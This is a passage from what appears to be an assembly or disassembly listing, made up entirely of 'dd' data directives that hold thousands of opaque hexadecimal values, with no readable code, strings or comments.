14A919A0h, 0A6A02512h dd 48077980h, 0A0A80D70h, 0A453A240h, 16A5E219h, 0F0B99918h dd 30F9F7C1h, 89DCC283h, 95ACA815h, 9475A655h, 0C99EAA13h dd 232DD668h, 4B43BC2Fh, 123732C6h, 354711E8h, 5E60154Dh dd 0E35378DEh, 9D905375h, 624BC824h, 8D4C46B1h, 0A39E1048h dd 9923519Ah, 72305961h, 0F321D94Ch, 0E9095189h, 18FC35ABh dd 24A87635h, 969B5E5Fh, 893839Ch, 8F2EEF59h, 0FCF28214h dd 3B60E762h, 0DDC1174h, 812A7509h, 0BE0F08CBh, 30FA1882h dd 23A41F74h, 0EF83266h, 0D0A0D76h, 5199E73Ah, 0BC0DA0Ch dd 54F58908h, 0DD138436h, 32F42554h, 0E5068CD8h, 70F958EBh dd 3D09D6F7h, 0D5DE26B2h, 8D3C6F70h, 2CFAABB0h, 0B930209Ch dd 0D950494h, 92ED5034h, 0C632A8CEh, 0A267266h, 214868CAh dd 147DA6F7h, 75B21A52h, 98330C05h, 52CD8455h, 1311750Dh dd 190D2A69h, 60C70611h, 1974C91Bh, 2143483h, 3BD0C106h dd 0A90BF9C1h, 0C31221Dh, 2357DDEBh, 2B00190Ah, 1BD8F7C1h dd 69B4B0C0h, 0B5BB2423h, 442801C2h, 640A75C2h, 4DE9E0F5h dd 0C45093FEh, 0F38D5AB0h, 0AC146401h, 22E1EB72h, 11164415h dd 73650959h, 83285103h, 38A2288h, 2441015h, 7540BB81h dd 0AC0D6088h, 911C144h, 0D4BFEB1Eh, 537F083Dh, 94226A74h dd 6044F98Ch, 0EB3BA0A3h, 64A1540Dh, 0F0155E8h, 898862A1h dd 3A22327Eh, 5C920D03h, 12B7428Ah, 1E214A2Eh, 8A487980h dd 0C140F928h, 0EB133D51h, 623B34DDh, 6C9E2815h, 50382B55h dd 8FBCA3ADh, 60166A2h, 48097C02h, 7E530409h, 2F41034h dd 8EBC680Dh, 59B8D524h, 0E67D41EFh, 0AA0C0802h, 84B71E11h dd 985D06Dh, 0C442188Ah, 2C1F29B2h, 2A440621h, 298F8628h dd 90774A03h, 3CE9C80Dh, 30A114C9h, 286D278Bh, 71A23582h dd 8B1C1482h, 9128234Eh, 0FA4112BBh, 8A2B5B0Ch, 76D5128Ah dd 0A9470A2h, 418CD3A6h, 8505E084h, 0A13474D2h, 12881022h dd 7C306381h, 10755D21h, 7F39F812h, 0AE58E691h, 935428Bh dd 1E64F66Bh, 0C88B3926h, 1199C617h, 17426501h, 7E0C82D8h dd 32D158F3h, 3BAD7C57h, 0A738447Eh, 862DA825h, 883C4225h dd 22134559h, 44144615h, 2CF56A44h, 0A4E3D36Eh, 38CFF1D3h dd 2158A151h, 4E68E714h, 21545171h, 8E7663Ch, 85FB8369h dd 512179F8h, 0C63006BDh, 8177B871h, 0A83D5209h, 409218B2h dd 7141CA69h, 902005A7h, 10E28337h, 75263990h, 53482E31h dd 53F29CE9h, 28644817h, 580432A0h, 888D486Ch, 0C4859F8Bh dd 345524F8h, 646A2419h, 0AC17D42h, 8AC142D8h, 1DD2D650h dd 212997C1h, 0A14C687Ch, 0A4648251h, 79BC0C32h, 40EE9282h dd 63DADAB1h, 44C99F74h, 7440113Bh, 28D37E42h, 7935FF62h dd 392D1146h, 227E603h, 6419EFA3h, 38A416CFh, 8A0C3AC0h dd 9E028801h, 21C19E7Bh, 6CCA710h, 270C631h, 6104EA7h dd 6E681038h, 0E353E06h, 0EA42A1A9h, 0EB475C24h, 1794CD56h dd 90996A40h, 0D0C22055h, 2FE23D0Ch, 109185BFh, 9BBEE19Dh dd 5A25BBEBh, 0E4902CFEh, 0F44710BCh, 0F090070Ah, 0FF2085C2h dd 6885CB71h, 0AD92164h, 1C3E674Fh, 22A27642h, 0F0083C71h dd 200F2402h, 0ECB9A910h, 4C907F49h, 7906D024h, 91D7429h dd 0C022B22Ch, 8176F043h, 766223F4h, 3CC4EB2Bh, 0E89AA091h dd 74482151h, 297C457Eh, 291DD1A4h, 0FD07B50h, 9E405384h dd 3B1F2022h, 8FCDF44Dh, 8E1D1F31h, 0D01F85F4h, 67E49239h dd 2CCBA848h, 86209691h, 7CE90683h, 6247490Fh, 3C094599h dd 895284Ah, 263A5257h, 0DEA62F4h, 7C6111DEh, 7E7A8209h dd 4109913Fh, 235A1258h, 30102D7Eh, 1B7E39A0h, 745F118Ch dd 342D8F12h, 0EC0AD61Bh, 1ECE9877h, 21871254h, 0F8E0321Ch dd 565CEB30h, 0C242B98Bh, 2396A89h, 0A2A5D51h, 0A13C57AAh dd 9A221075h, 0A838E9A1h, 0F843771Fh, 77534B46h, 8B84AAE3h dd 88F942A1h, 77FE210h, 0CA7E54h, 1B1D1051h, 44302119h dd 915F7C39h, 752D4205h, 404819B4h, 1974E41Eh, 3D2CFFE1h dd 8D8AF8C2h, 8C881B80h, 0FD42805h, 0BBF821F7h, 0E33E914h dd 84C63C62h, 832E18ABh, 0E82FE2FFh, 0F3A58812h, 0F8F19D44h dd 3358EC0Bh, 0CACDF2B5h, 615AE801h, 5971F436h, 419B0115h dd 51890C21h, 235F602Ch, 648EA281h, 0CB1AEC57h, 0BF180C40h dd 83162C48h, 17272EF9h, 829589C2h, 88C6EB3Eh, 463308C1h dd 0A8CDD509h, 322DFF30h, 8BC90368h, 8D9D5DACh, 2D3A547Eh dd 0A7C4DC52h, 0FBFEBED8h, 28C43528h, 0D9E21211h, 0FAAC2188h dd 90155851h, 0C9E90511h, 9841BA1h, 1B1C4119h, 7C4284AEh dd 1B474F46h, 78149321h dd 5840AD51h, 0A574687Bh, 63306C4Eh, 4B706829h, 4B300A5Bh dd 5E486C68h, 0C3683338h, 5C4E1BB2h, 4B2B2AA2h, 9B45ED0Bh dd 271AEB09h, 14F401DBh, 224E01E7h, 37562CAFh, 0A03F162Dh dd 95025C9Eh, 7E821893h, 85A6050h, 0EDD31C28h, 8E06A715h dd 308DD6BFh, 0FDA48301h, 3B69E810h, 52372EE1h, 547FF1FFh dd 0C3040F54h, 0A3059466h, 0FA02237Bh, 6814745Ch, 30B3A890h dd 686127C4h, 3529A38Ch, 0CB141314h, 8855F940h, 5282C095h dd 1A3B03E8h, 14BC2E41h, 0A1120D9h, 989E3D75h, 3F8662C0h dd 1248D781h, 2327A889h, 0A928549h, 9F50362Ah, 1DEB88ECh dd 8B555FA6h, 4C435221h, 0CD12BE45h, 29EC3F62h, 88296C11h dd 0A5ED9518h, 1B5FB58Ah, 24C41A84h, 0C9104EF4h, 6433EE4Bh dd 0DD686A35h, 8A280F3Dh, 47A1D8D0h, 0F10D273Ah, 3D273A1Ah dd 40FEEC11h, 0FD44A49Ah, 160452E8h, 0BCE68B29h, 0EA10E09Bh dd 2E187599h, 0B9019722h, 37B14624h, 2716EB49h, 90E8820Ch dd 0E918A2FCh, 0AF0D45D0h, 9995B827h, 145047B1h, 0DD5F94DFh dd 95226CAh, 19398EE8h, 46338A75h, 991882Ch, 87999468h dd 54E808F9h, 0B3081D7Dh, 0EB430271h, 9AC8A0Eh, 8AA8882h dd 3CA07B4Eh, 4F457D5Ah, 84201309h, 40D0493Bh, 59E2D526h dd 0AC081544h, 50668F4h, 220B7403h, 0F6F80609h, 6AAA0280h dd 0C2F70F4Dh, 0B1FD61E8h, 0B24B97E5h, 8B01E813h, 49853F83h dd 7CD8D3E2h, 0A2C795F0h, 0E2129627h, 24B49DF0h, 511C6CC8h dd 4DA4D64h, 0CA41B31Fh, 0C6D9A18h, 0A2DF412Dh, 205D8AA3h dd 0A820B2FEh, 5C3C0626h, 5E0942ADh, 3D64D852h, 9143EE1h dd 51F41882h, 0EB1A3B3Bh, 0C57B85BEh, 9C696465h, 82C97D0Fh dd 9514BEC7h, 84522917h, 53840FF0h, 1C22A746h, 4453B27h dd 203337BEh, 122532FCh, 4E8C9B3Eh, 1C79C496h, 0A5685157h dd 484DC488h, 1A6AE918h, 74510805h, 951AB23Ah, 2361B81Ch dd 8825097Ch, 414509C4h, 0C4B11264h, 85301208h, 12C48825h dd 11C46249h, 9E52D12h, 46C42C19h, 0C4444B98h, 3599188Dh dd 95B2C42Ch, 7EAAA99h, 65B2E898h, 292A7450h, 93425EAAh dd 0A9A3D614h, 25A4C42Dh, 4B7D6A4Bh, 4720C468h, 1EF379FEh dd 0DEFE2011h, 2084C77Ch, 319F77FEh, 1DFE20E1h, 4D79CCE7h dd 4B1E4ED9h, 5520C42Ah, 8809A286h, 0C4241584h, 24F85B0Eh dd 22C4B6D3h, 6B188A55h, 0E820BC35h, 0C49CEFB9h, 64249764h dd 0B1C4B2ECh, 352CC8E8h, 0BB86809h, 0E3A5B8F3h, 7C8EEA9Eh dd 0E818D4D4h, 805DFC4Ch, 0AA447CBh, 1CCC0EBh, 0B2A16173h dd 8C96A8A0h, 7B01E0C7h, 0D8A2820h, 0C9802E0Dh, 0C809224Dh dd 0C4A7406Ah, 0A3660B63h, 0B7A78FC8h, 158B82D2h, 0C2CB098Eh dd 0E181AFC0h, 0C1031AA0h, 20CF319Dh, 0AA77053Eh, 4AC435FFh dd 83903CC1h, 0F0458966h, 0F21783A4h, 8C307F58h, 0A9F60D01h dd 652F80Ch, 136802FAh, 0D4EEF9E6h, 97E8A9C2h, 6E7A7634h dd 506E8D4Ch, 964613A4h, 9E45867h, 0F7C1DF1Ch, 3470E851h dd 0CAF9766Ah, 404EEC48h, 1179C280h, 0B2BEE8ECh, 0B0F10A44h dd 0EE4DA803h, 390853FEh, 618B5E5Eh, 3BE5C1BFh, 797F628Dh dd 0F810B940h, 33337532h, 90A7F82Bh, 8632DDB9h, 0EBE09088h dd 28B868DDh, 0AFB5AD0Fh, 3F51EC24h, 0E1C23081h, 0AE8522Dh dd 0EB2F8CACh, 0E4CE9139h, 1AA2A414h, 3E8E41A4h, 0FF98B1D7h dd 48E9BE11h, 0A8A0771h, 9441A88h, 1F2576E9h, 0A2D916B8h dd 27359480h, 30EB0B14h, 91013667h, 5CB14B1Bh, 57EE54C6h dd 0E7694CAh, 56B54DBFh, 0E654AB7Bh, 0AF0248F8h, 0EE22F348h dd 642B35C9h, 0F03AC896h, 0E281FC04h, 5C8558A4h, 0B43871D2h dd 0F4AA0845h, 884F8A75h, 0FFF02A90h, 6F079274h, 0C6227E10h dd 3BD62E02h, 0C0D5454Dh, 43992F46h, 0E1806483h, 3FCCDE27h dd 0F376667h, 635BA2B6h, 0C25CCE76h, 8E0C108h, 7CE5D04Bh dd 2148A8Ah, 66294588h, 28538B5Dh, 0D030D10Bh, 4D168B5Eh dd 16FC8710h, 40917552h, 0B5325092h, 951F6609h, 0A70B93A4h dd 0EBEC1698h, 0C667395Dh, 3418CFBFh, 40E18CDh, 0BC401BA3h dd 8811079Ch, 2CC098DEh, 0E9CBC501h, 10458CF8h, 1C62FC7h dd 37D74509h, 4BCDF95Eh, 8AD85716h, 0D8405AB9h, 1DFDF9C8h dd 8A0C3E24h, 0EC22655Bh, 3447514Fh, 94EA75E8h, 0A40F6769h dd 41581043h, 0AC121580h, 0CE51269Eh, 0F548F859h, 2617A495h dd 71E60242h, 257833FAh, 4216EC18h, 0C5466F8h, 31D738B8h dd 419F344Ah, 0EB04C05Ch, 1106A02h, 0F41CB3AFh, 8FDF031h dd 0F17E8E83h, 0EC850B85h, 1432A25Bh, 548D39E8h, 0CBC482Dh dd 0E7E8B9C7h, 314898ECh, 4F20CBA8h, 0A6A2901h, 4B12A0C2h dd 0E8E36150h, 0D8E5D49h, 648370C1h, 674114Fh, 0F2DACE1Dh dd 8BD1160Fh, 742A4E0Eh, 0E815372Fh, 86AD6E69h, 8B0E8115h dd 56C08058h, 3842890Ah, 5E9A1E59h, 9370120Bh, 0FAC449F1h dd 111B2FA9h, 0B4E45629h, 24C06A0h, 3C09420Fh, 0EB248A0Fh dd 0FE12AF6Dh, 45ECE4CCh, 852A6CFDh, 0E874FCD1h, 4BEB4504h dd 0A28D1DC8h, 118E051Eh, 0FC958305h, 0DA78C267h, 7A4A0E08h dd 48022F41h, 258D844Dh, 2149C4C4h, 10C2D53Bh, 0F08F020Ah dd 810C8D0h, 2DE83015h, 0B72C5F16h, 0C5949618h, 2DCAE36Ah dd 0D4241A7Eh, 59CF26C7h, 6506391h, 10C9690Ch, 0D97CA0A5h dd 45D842Fh, 0DAB99DACh, 9475CCC8h, 6CEB0BD7h, 0F02C222Ch dd 0EAA6F4B3h, 603BCADBh, 0B2497D44h, 0C2AD914Dh, 0E32FDC4h dd 162A7069h, 0ECE85D3Dh, 6671C464h, 1D1959A7h, 19D26985h dd 0F303457Bh, 0A6EBC31Ah, 0DA7BD615h, 114177D8h, 6B744C0Ch dd 5959CB0Fh, 9684F845h, 364776B7h, 8CDC5129h, 6DC23204h dd 0EE25F5A6h, 0F882182Eh, 1576500Fh, 90969D58h, 0C31B9FA2h dd 316B1B6h, 0FDB33E7Fh, 45F004Ah, 32EB01B0h, 2EDC39B7h dd 282B0BFDh, 0CD52EB77h, 27564916h, 201165D8h, 0B3C9F154h dd 0ACFE0CB5h, 0BC51E24Eh, 296EFF23h, 0A3257C4Eh, 0B1D046D5h dd 38545865h, 0E5675E1h, 7F3834F4h, 58378949h, 273320DEh dd 4E2C752Ch, 0FC3B4A52h, 1457685Fh, 33A42D18h, 6B3C0669h dd 0B82C5E02h, 61568970h, 0D17E44BFh, 19FEC4A0h, 0DCE87D45h dd 12D196Ch, 2D05C73Ah, 0AAC74690h, 8157E69Fh, 88CD0F9Ch dd 0A829D163h, 4041AD31h, 0EC18AD95h, 4B63F332h, 0A83B0640h dd 0B025733Ch, 40148A4Ah, 0F4143B07h, 24936380h, 5AE51175h dd 66016A6Ch, 850669E9h, 3D81BE85h, 9DC72D0Ch, 111FAD72h dd 1CA1284Ah, 1E412FB5h, 0C8062221h, 88C8899Eh, 14D9DC11h dd 0D7B1DB8h, 1817CC45h, 218BCECCh, 0D691D20Ch, 0DA22584Dh dd 2A971B92h, 65ECF139h, 0C9088CACh, 4EAE8D89h, 0BE2CB2CAh dd 0E0B0B6A2h, 8F68E44Ah, 662787E5h, 0B2FDB9BEh, 819CE088h dd 9579C043h, 3D713FBAh, 91924E25h, 0F78C8B7Bh, 7EC7039h dd 0E9050738h, 424F3D5Dh, 0B0EDC02Eh, 0EA226A34h, 0A3855495h dd 1AC1AFD5h, 0C8217235h, 0B4CFBFCEh, 448002A3h, 61F48211h dd 0E9B996Fh, 1C8B3416h, 10300484h, 7C0EF022h, 8904F022h dd 32946610h, 256CD7F8h, 0D4364A83h, 46A6A01Ah, 4AF825CCh dd 4561E406h, 66161DCh, 124D4E06h, 913D8993h, 6891747Ah dd 1090649Eh, 1CF07FD2h, 0D1622EDDh, 80F565F6h, 0FC558D9Fh dd 7E685202h, 91800466h, 7D5C6060h, 0F049A951h, 0B2B265DEh dd 45A83C26h, 0F46832DEh dd 535C8FB9h, 0C323022Fh, 0B930281Eh, 948348A8h, 38B427ECh dd 0C1623B1Bh, 2503EA65h, 25A85001h, 0CEE1F8D0h, 0C5684D03h dd 0C9F82CBCh, 862BD2F8h, 0D4385A6Bh, 0E899211Ah, 14342E6Ch dd 0E54475E2h, 9533A91Fh, 58520C09h, 7A899EA5h, 0BCCD1903h dd 0D20B481Ah, 811443B3h, 0CB9996E2h, 0C8087DD0h, 0F6D26EE0h dd 91392962h, 535BC2A5h, 8505AF6Bh, 0A39B79E0h, 4E44DFBBh dd 6F48EBA5h, 0FBC62BE8h, 6A3562A6h, 84C52B9Eh, 0B179E095h dd 0FA65491Bh, 0D8A5A8BAh, 8A1034D1h, 53902924h, 72313329h dd 8D8FFA33h, 2C18390h, 23CECC89h, 48730C0Ah, 6A034765h dd 5F83270Fh, 1146A485h, 29032AC2h, 42872087h, 1D2A8801h dd 0A0958A70h, 0B851882Fh, 6AA009ACh, 1A1A8B0Ch, 0AC460070h dd 0B5142923h, 0E681140Fh, 0B3C19688h, 4C0DF3F7h, 0F05C3B2Ah dd 5C884EA1h, 69B24895h, 320AF8B4h, 45B29241h, 0F4E8414Dh dd 588466F8h, 41BDD0F1h, 12D32006h, 7C263AA7h, 0E914C411h dd 851551A5h, 929641B4h, 13845B6Dh, 5978258Dh, 559F56E8h dd 42BBA021h, 12C5E62h, 4ECACC28h, 0F665D412h, 5453318Eh dd 293301A2h, 648EB4AEh, 0F318C39h, 53C48D34h, 0ED0EAF74h dd 404411B7h, 22C04E69h, 738B8D2Eh, 0B094E7C9h, 0FA83EDE8h dd 8D4AC802h, 0DC0DFFDEh, 21A56C75h, 0E3CB94Eh, 8AD50814h dd 9C080464h, 7485D06Eh, 8D1A8C3Bh, 4B9936FBh, 0F9A7DB04h dd 0BB948561h, 98951227h, 0C150DC9h, 0A28DD4CCh, 0C8D70412h dd 0FA15E947h, 48A045DCh, 6689029h, 6D09BF24h, 0B293C627h dd 0A742EC8h, 2490C43Ch, 49741CD8h, 45D46710h, 0C72FA3B4h dd 0C7271EEBh, 0C367C547h, 0BFA7C187h, 0BBE7BDC7h, 0B7E7B9E7h dd 0B3E7B5E7h, 0AFE7B1E7h, 0ABE4ADE7h, 51B928AEh, 78A66897h dd 159ECD04h, 0EFFFE7C4h, 0D86EEC32h, 8626F0FAh, 4A086A39h dd 4DC8A28Ch, 0DC926F26h, 6BE1B031h, 49647D38h, 8DD3BDFFh dd 5C229166h, 37923D7h, 68010919h, 8738801Dh, 0A3892CC8h dd 480D56D0h, 0A2FF1306h, 396A8498h, 6CED44BEh, 58E845FFh dd 0D227026h, 4A96A068h, 6C5E6035h, 0A3A1FF44h, 14892232h dd 701B7ED0h, 0DC9059Fh, 3A51160Bh, 0E98E18A6h, 88A1D032h dd 2DAC6823h, 2E15038Ah, 2CAD8C27h, 62928E58h, 0C0830C88h dd 989032Ah, 60297A2h, 2A810D3Bh, 42D5830Fh, 12889539h dd 848A02A0h, 21BA6E15h, 94F82D43h, 13C06D0Dh, 308E2C1h dd 9014A5C2h, 4810CB6Ch, 28C6FCA3h, 9D675485h, 0A709D388h dd 82DD362h, 0F606055Ch, 3F90299h, 408A527Dh, 6D958871h dd 502960h, 2E0C006h, 0F50957FFh, 0E90F488Dh, 89810922h dd 0C2831068h, 4755F303h, 522BD48Ch, 880425D0h, 0BFAC154Ch dd 48064422h, 0F78FEBBEh, 618AF74Ch, 54CB04Dh, 443859ACh dd 0E90946D9h, 2184990Ah, 15648A81h, 36BDD8F5h, 6021655h dd 0FC9603Bh, 0BB8A6887h, 0DF5010C0h, 90BC8B4h, 88860580h dd 9A2095Ah, 959A5106h, 7319543Bh, 4A507633h, 0C9347C94h dd 2539ED8Ah, 0AA0E66F2h, 1E92FC28h, 6976E789h, 0E327881Eh dd 16444593h, 18AC4114h, 1004C609h, 518DE385h, 7F7B190Dh dd 2597A244h, 5E4EB39h, 17EC9367h, 0D83E0539h, 0F83009FDh dd 31CD07Ch, 7B81421h, 10C22B15h, 0A85588C0h, 8D6BE0Fh dd 207EE805h, 70EC7924h, 0A84D2260h, 0A0BFC12Bh, 3D0204FAh dd 95457C8Ah, 0EBA482AEh, 0D637CBD8h, 587D53DCh, 0D377308h dd 7CB0E0Dh, 0A82FA471h, 90A41AEBh, 169020BAh, 3223BFE8h dd 0EA2501Fh, 9CA9A4A1h, 3A986C6Ch, 368DBC4Eh, 0A25B72Ch dd 35D0FD70h, 523D4641h, 0C8344311h, 2A886458h, 0B7810222h dd 802A440Dh, 0C743426h, 621518C8h, 229C35FAh, 0F0B85688h dd 910F5428h, 613F4E45h, 3BFB70B6h, 0E25BDA8Bh, 12A27108h dd 22A25363h, 0CD2F0811h, 0CC4397ABh, 35BE3764h, 0B414838h dd 0AEAD226Bh, 470608F0h, 120CD304h, 7C845962h, 8B592BFCh dd 0C9130A3h, 27B5A8C4h, 38C8D06Eh, 0D0EFACC7h, 218E1BACh dd 763BAB10h, 3F684686h, 21E24214h, 0F9947439h, 6099068Bh dd 429C18D4h, 0E568E7AEh, 689037A4h, 181358C2h, 8285B220h dd 0F423F68h, 301080D8h, 2D57F0B9h, 0A529E81Dh, 0FC78AF30h dd 24806880h, 0C9A54A2Bh, 42520FD6h, 0FCA47544h, 0DA4B5039h dd 52821080h, 2B6C5768h, 0D6E8449Dh, 0AC0E48FDh, 5C6842EEh dd 0C1021BCh, 0ED8CB5E8h, 5452680Bh, 8498A269h, 6951D01Dh dd 0A1744B2h, 6464FD6Dh, 51352E38h, 68B67185h, 881F4A28h dd 14688A32h, 1A45547Eh, 180A4621h, 0C84E0288h, 0EA22562Ah dd 880BFBFCh, 2EA844D2h, 9410BA21h, 4284A2B8h, 9D8AE244h dd 51729148h, 8B5F91Ah, 0DF2A5240h, 679D53B2h, 0F3513B91h dd 502C6C22h, 0B868E115h, 0B7582229h, 6976759Ah, 3D1D63FDh dd 7BF8EC08h, 68BBDCAh, 0B51E3805h, 510B026Dh, 25CD2E9Ah dd 3C16EB0Dh, 6B6806C8h, 8502F9B0h, 81A96A4h, 425C7618h dd 0A6A82987h, 1F4CE74Fh, 7090170Ah, 7C29A085h, 7D8A582Fh dd 0BA8BC319h, 5E15280Bh, 3935524Fh, 2C3ECA89h, 0A11230ACh dd 0CA42BA0h, 282AAE0h, 0D6E44D09h, 15A81A0Eh, 0E806F476h dd 1613AAA0h, 0A5EA4588h, 758D7B35h, 83D85287h, 75003E7Dh dd 0E0558D1Ah, 1324A1CAh, 6ABF5A5Ah, 3472B7B5h, 7F32FE6Bh dd 0D01FA428h, 9611E31Ch, 4DDC024Bh, 127951ECh, 0A2E20F12h dd 46D06474h, 2DE41CD4h, 7699E32Eh, 2092EC74h, 0CAC5A3DCh dd 8342BDA3h, 0FF06843Dh, 52815FE8h, 0CCDC4D8Bh, 0E8EE1851h dd 81F622D2h, 4F60F425h, 68C902F0h, 47285919h, 0AD10C5F2h dd 0C8585272h, 0C0858A68h, 0E8138263h, 815CFA77h, 0D6C4824Ch dd 0D28AB313h, 0E19C45F2h, 0E4C1DC69h, 9D20382Bh, 0C79D691Eh dd 0BC3273C2h, 10D42834h, 0E89E4868h, 1C884098h, 0DC658410h dd 1210E42Eh, 8277B2h, 0C3E851DCh, 0F8D9A81Dh, 87754E6Fh dd 6724E9F6h, 39B45E20h, 4547322Dh, 1D1651F5h, 0AC572A1Ah dd 50B8B3BFh, 24DC6D0Bh, 0A4E11005h, 0CD2E128Fh, 8D9E544Ch dd 0C872964Fh, 644D1FD8h, 0B8D873D4h, 0EF07C474h, 0CC897BEDh dd 34D0EE06h, 0E8DB0CDCh, 9418CE38h, 0F3D13CFBh, 7E89F529h dd 60928D3Dh, 0E05B145h, 0FEBB7344h, 4A8F3E75h, 898B3284h dd 1FC78F53h, 46F814E8h, 21820C45h, 54B4F935h, 6712FBE8h dd 819B78F5h, 22917CE4h, 0CB6C850Ch, 458EA450h, 0BE945448h dd 982F957Dh, 27D30D92h, 0E0D716BCh, 4DFAE0FEh, 0D9111BC9h dd 4B7E499Ch, 13C7F127h, 4F90238Ch, 2D9E3B4Dh, 88DD5984h dd 0C7091054h, 945FE985h, 0A9C516Ah, 0A678A54Eh, 0D41FDA2Fh dd 8A763B61h, 25E1DA2h, 45204C26h, 1074ECE8h, 16209A4h dd 845FB8B2h, 75723319h, 608C52F2h, 0C688E825h, 9D849032h dd 8422AE46h, 0E1E83BFDh, 0EB0B1555h, 0CC21054Eh, 0A900ED8Fh dd 4CDEB94Dh, 0E85ED76Bh, 5E8C4B0h, 5575605h, 0AAFB88B8h dd 21146E36h, 0FC44FA68h, 74A153A8h, 86B19FAh, 6893FC2Eh dd 484855BAh, 0B814F492h, 1627209Bh, 5C70812h, 0B5139A9Ch dd 53BD2FC4h, 0AD6485A1h, 8D49E37Bh, 12516D0Ch, 139AB568h dd 9940160Ah, 528D4740h, 0D55E507Eh, 0E664A96Fh, 0D8259734h dd 1D985966h, 6C8C5302h, 6E9465C4h, 7CA26616h, 245E6ACAh dd 5729222Dh, 80243E50h, 0BA7D640Ah, 7922B61h, 620D246Eh dd 0A42D7C74h, 0CF78FAF5h dd 8890CFB7h, 84F93C01h, 0D629FEFFh, 197343D9h, 14A795F2h dd 0D4167E84h, 75CD32E7h, 0CA1E2557h, 0EE312739h, 802BE44h dd 9A227340h, 89292530h, 0F9543626h, 591742Bh, 0E9D23309h dd 0D77B3C9Bh, 89875126h, 0F901B92Dh, 0E084841Dh, 41581F06h dd 0A3B58D1Bh, 44BDB22Eh, 0A5F32587h, 0DFEFD856h, 338B55A2h dd 0B1F5B214h, 7386642Fh, 7F40A6ECh, 0FB428CDDh, 0D188DCDh dd 1009047Dh, 3B3B069Fh, 120F4050h, 0AB066F8Fh, 19905572h dd 2E1AC619h, 44942B13h, 130652FFh, 3F417947h, 18E45289h dd 2988C571h, 0A9534806h, 4FD8A07Bh, 94C98DF2h, 8AC41019h dd 4250A95h, 2C2578F4h, 1999709Fh, 38A56ABBh, 70C40620h dd 6032B584h, 951F9547h, 45C21021h, 1BA7FE09h, 9539693Bh dd 9414538Dh, 95958CBCh, 0A185707Dh, 0D2956A27h, 29253012h dd 0B9362589h, 53F5572Ch, 0F2C93B95h, 224DD48Eh, 3F747EA2h dd 0A3296835h, 89818155h, 503A2DD0h, 614B15F2h, 3F25E97Eh dd 8A642B32h, 232945ECh, 0CDA466CBh, 41B9072h, 24061C88h dd 0B3AC1270h, 8FE543E7h, 0C188908Dh, 0F6DF0922h, 9FE5A1E1h dd 0EC29AA67h, 0E54DEF8Ch, 7F75654Ch, 0FC1DAA4Dh, 2C3915ABh dd 262B7314h, 0DB9040D0h, 0E2810422h, 475C1885h, 0EB0940FAh dd 0C888C44Dh, 5EBE3E9h, 0CAFC7CD3h, 0A366218Fh, 139091BAh dd 20F04EE9h, 0E68C9E8Dh, 52143394h, 48FCC868h, 4F4AA62Bh dd 68F831BCh, 2D2AA4C0h, 84172F58h, 1B1F69B5h, 34161224h dd 9839A868h, 2D935272h, 0A03E588h, 0B648A068h, 0E8149166h dd 0E03316FCh, 84886814h, 51238D42h, 8088B290h, 0E8C28748h dd 0B0339EC9h, 677068EEh, 33245ABCh, 991A277Fh, 334F9679h dd 0A554B540h, 224C6499h, 63461E50h, 30681EC2h, 88199015h dd 0B307928h, 2468330Ah, 0FC78884Bh, 136C1844h, 58106821h dd 888F02CEh, 0C7115E5h, 15CD110Fh, 0A2CF8E1h, 0F0428388h dd 9A421C2Ch, 0BAB93FC4h, 0E5BE0B93h, 30BD1D05h, 0E56657CCh dd 0F2F9B806h, 40C2111h, 30086896h, 0C520ABFAh, 0BC57082Ch dd 43E5204Ah, 0B9405770h, 0A4438405h, 6FBF1823h, 500DD4B1h dd 1453C97Dh, 10952858h, 0E1AB5249h, 9C1101D4h, 0EB110E2Ch dd 950DD214h, 6A8B3907h, 4298FBF8h, 268BFC30h, 0C291F44Ah dd 15AFFE8Ch, 0C4AFE1DDh, 746834A4h, 2285DD8Dh, 38208A9Fh dd 52BA766Bh, 21368BD6h, 8E32AC65h, 9A6C5416h, 44324A6Ah dd 42FC3061h, 0FC140FE8h, 2C19C8F4h, 8FDC90B9h, 32C4BA68h dd 4BF9D922h, 66A3857Ch, 0C20C3BFh, 0AD462C43h, 0E41960F2h dd 18244B4Eh, 681D84D2h, 236C2540h, 3812E1B1h, 13C8231Eh dd 676B758Ch, 4D219828h, 80F6CE2Ch, 882E2C49h, 20E49E4h dd 0F8C3DC10h, 0EC227501h, 0A6E50BAh, 174D415Eh, 5B2BF468h dd 65225E3Bh, 2BE7E120h, 0EB16865Fh, 2BFF0A2Eh, 0B457183h dd 2B1B3040h, 0C948AC68h, 0C2885747h, 70E96212h, 13EAB0D0h dd 0AB890BD2h, 0C24D213Eh, 0C2B32E04h, 5EC8A022h, 68CD4960h dd 204A1C2Dh, 29B49A98h, 6BA6766Bh, 0F44A7466h, 5E0C74F0h dd 10C82B52h, 0B4B49A98h, 8B7B171Eh, 0D48A24D7h, 56840C64h dd 0F9054D82h, 986E8DEh, 0FD1050Ch, 29FEF842h, 117CE8C9h dd 0CF3E6468h, 26A74E1Ch, 6954995Fh, 0DF8A7F1Ah, 0C424722h dd 15278A77h, 25D55196h, 126024BFh, 0FAC24BC1h, 36B44819h dd 6FB14A31h, 690F928h, 1D7E2D70h, 1129A7E2h, 50BC1A13h dd 295CB2A9h, 0EBE12CF4h, 0DCA58BA2h, 0DF6813F9h, 0BECD1C5Ah dd 7C10D9A7h, 0D9986B4Dh, 22F4C5A6h, 0D112F007h, 11340912h dd 10CFBA54h, 795E3320h, 27A56F57h, 0BD942FE2h, 0AB2DE885h dd 4BD8D474h, 44A6BE18h, 5E38E809h, 96F8EC72h, 0F402F90Fh dd 0F002F91Eh, 0E692F91Eh, 5E3CECF8h, 0A864BAE2h, 32EDFDF4h dd 7F026CAh, 2C928F18h, 0E4BD2C7Dh, 0FED82301h, 5B4434ADh dd 0DA3689E8h, 99F8F929h, 3B664735h, 896B79CDh, 848D2B97h dd 0CF1C22Eh, 0EE592EF6h, 0D87C0E15h, 5B345AD1h, 33B64657h dd 0F64E2748h, 3BB548ECh, 6822C3E8h, 0D479FEB4h, 0A7512D6Fh dd 0B2B3A18h, 0C0D0D09h, 0EFF72068h, 0ECE8F3D0h, 0EF9D438h dd 536B30D1h, 0DC5A2045h, 320664E0h, 528D39E4h, 0C55D5014h dd 0BCD425F3h, 66FC7865h, 90D02CA4h, 6E50F48Ah, 0CB047F04h dd 88C84EBh, 0EC02125Ch, 5962A650h, 0F812B8Ch, 2E013E84h dd 984A008Ah, 7C2485B6h, 64880F7h, 1E406438h, 0D09CE5Ah dd 0BB38F011h, 986A4425h, 148D5596h, 4FD7522Ah, 99178CDh dd 760ED9E8h, 0E1FFCF70h, 50278891h, 0F1D77D44h, 0CF24EE8h dd 2EE3729Ah, 8B14A3BCh, 217DDC08h, 